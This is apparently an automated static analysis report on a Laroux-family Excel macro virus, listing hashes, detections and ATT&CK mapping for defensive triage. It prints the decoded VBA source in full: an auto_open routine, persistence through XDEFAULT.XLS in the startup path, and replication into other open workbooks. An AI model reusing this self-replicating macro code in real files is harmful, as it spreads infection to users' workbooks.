Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7849382a79e1912c…

MALICIOUS

Office (OLE)

49.5 KB Created: 2000-03-13 19:22:37 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: c702a55d6b6386944a3df008f7837dc9 SHA-1: 7492b97f3f09a2e483124d09a29e552eb25da456 SHA-256: 7849382a79e1912cd9fc86fa2873c5ac37525369dff6851d5d861eaf4ef8e97e
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

This Excel 5 macro-based trojan, identified as Laroux-19, uses an Auto_Open macro to execute its payload. The script attempts to save a copy of itself as 'XDEFAULT.XLS' in the Excel startup path, likely to achieve persistence. The document body appears to be a legitimate-looking invoice, likely used as a lure.

Heuristics 4

  • ClamAV: Xls.Trojan.Laroux-19 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Laroux-19
  • Excel 5 Laroux/Larou-CV macro-virus marker cluster critical OLE_XLS5_LAROUX_MACRO_VIRUS
    Legacy Excel workbook contains a Laroux/Larou-CV macro-virus marker cluster including auto_open execution and workbook/module replication strings. This is a narrow indicator for an infected legacy Excel macro workbook.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9660 bytes
SHA-256: 251a93af1c118652a16f8346ace5b527b2bedd83a45aa45c90eb8dc2c4fcbe35
Detection
ClamAV: Xls.Trojan.Laroux-19
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "EHNN"





























Dim SP$, MSP$, AWB$, AP$, Src$
Dim teks(4) As String
Dim N As Byte
Dim diff!, msec!, I%
Sub auto_open()
Application.OnSheetActivate = "check_files"
If Now > DateSerial(1998, 8, 7) Then
    Application.OnTime (Now + TimeValue("00:00:30")), "EHNN.plan"
End If
End Sub
Sub plan()
BmHB
End Sub
Sub check_files()
SP = Application.StartupPath
AWB = ActiveWorkbook.Name
AP = ActiveWorkbook.Path
MSP = Dir(SP & "\" & "XDEFAULT.XLS")
If ActiveWorkbook.Modules.Count > 0 And MSP <> "XDEFAULT.XLS" Then
    Application.ScreenUpdating = False
    Sheets(1).Visible = True
    Sheets(1).Select
    Sheets(1).Copy
    With ActiveWorkbook
        .Title = ""
        .Subject = ""
        .Author = ""
        .Keywords = ""
        .Comments = ""
    End With
    NWB$ = ActiveWorkbook.Name
    ChDir SP
    ActiveWindow.Visible = False
    Workbooks(NWB$).SaveAs FileName:=SP & "/" & "XDEFAULT.XLS", FileFormat:=xlNormal, _
    Password:="", WriteResPassword:="", ReadOnlyRecommended:=False, CreateBackup:=False
    ChDir CurDir()
    Workbooks(AWB).Sheets(1).Visible = False
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "xdefault.xls!check_files"
End If

If MSP = "XDEFAULT.XLS" And ActiveWorkbook.Modules.Count = 0 Then
    Application.ScreenUpdating = False
    Src = Workbooks(AWB).Sheets(1).Name
    If Src <> "raiN" Then
        Workbooks("XDEFAULT.XLS").Sheets(1).Copy before:=Workbooks(AWB).Sheets(1)
        Workbooks(AWB).Sheets(1).Visible = False
    End If
    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "xdefault.xls!check_files"
End If
End Sub
Sub BmHB()
teks(1) = "Infected Boomv1.03   "
teks(2) = "Me, No longer to stay in your computer!   "
teks(3) = "Beware of the Boomv1.03!   "
teks(4) = "BmH Guess who(m) am I " & Chr(13) & " thanks to " & Application.UserName & "   "
N = 1
oldSB$ = Application.StatusBar
Do
    DoEvents
    diff = Timer - msec
    If diff > 0.1 Then
        msec = Timer
        I = I + 1
        Application.StatusBar = Left(teks(N), I)
        If Left(teks(N), I) Like "[!]" Then Beep
        If Len(Application.StatusBar) = Len(teks(N)) Then
            If Timer - msec > 1 Then Exit Do
            Application.StatusBar = ""
            msec = Timer
            N = N + 1
            I = 0
            If N = 5 Then
                Application.StatusBar = oldSB$
                Exit Sub
            End If
        End If
    End If
Loop
End Sub


' Processing file: /opt/analyzer/scan_staging/fcda2480966c44a3a124a1b097626713.bin
' ===============================================================================
' Module streams:
' _VBA_PROJECT_CUR/VBA/EHNN - 5497 bytes
' Line #0:
' Line #1:
' Line #2:
' Line #3:
' Line #4:
' Line #5:
' Line #6:
' Line #7:
' Line #8:
' Line #9:
' Line #10:
' Line #11:
' Line #12:
' Line #13:
' Line #14:
' Line #15:
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' Line #18:
' Line #19:
' Line #20:
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' Line #22:
' Line #23:
' Line #24:
' Line #25:
' Line #26:
' Line #27:
' Line #28:
' Line #29:
' 	Dim 
' 	VarDefn SP
' 	VarDefn MSP
' 	VarDefn AWB
' 	VarDefn AP
' 	VarDefn Src
' Line #30:
' 	Dim 
' 	OptionBase 
' 	LitDI2 0x0004 
' 	VarDefn teks (As String)
' Line #31:
' 	Dim 
' 	VarDefn N (As Byte)
' Line #32:
' 	Dim 
' 	VarDefn diff
' 	VarDefn msec
' 	VarDefn I
' Line #33:
' 	FuncDefn (Sub auto_open())
' Line #34:
' 	LitStr 0x000B "check_files"
' 	Ld Application 
' 	MemSt OnSheetActivate 
' Line #35:
' 	Ld Now 
' 	LitDI2 0x07CE 
' 	LitDI2 0x0008 
' 	LitDI2 0x0007 
' 	ArgsLd DateSerial 0x0003 
' 	Gt 
' 	IfBlock 
' Line #36:
' 	Ld Now 
' 	LitStr 0x0008 "00:00:30"
' 	ArgsLd TimeValue 0x0001 
' 	Add 
' 	Paren 
' 	LitStr 0x0009 "EHNN.plan"
' 	Ld Application 
' 	ArgsMemCall OnTime 0x0002 
' Line #37:
' 	EndIfBlock 
' Line #38:
' 	EndSub 
' Line #39:
' 	FuncDefn (Sub plan())
' Line #40:
' 	ArgsCall BmHB 0x0000 
' Line #41:
' 	EndSub 

... (truncated)

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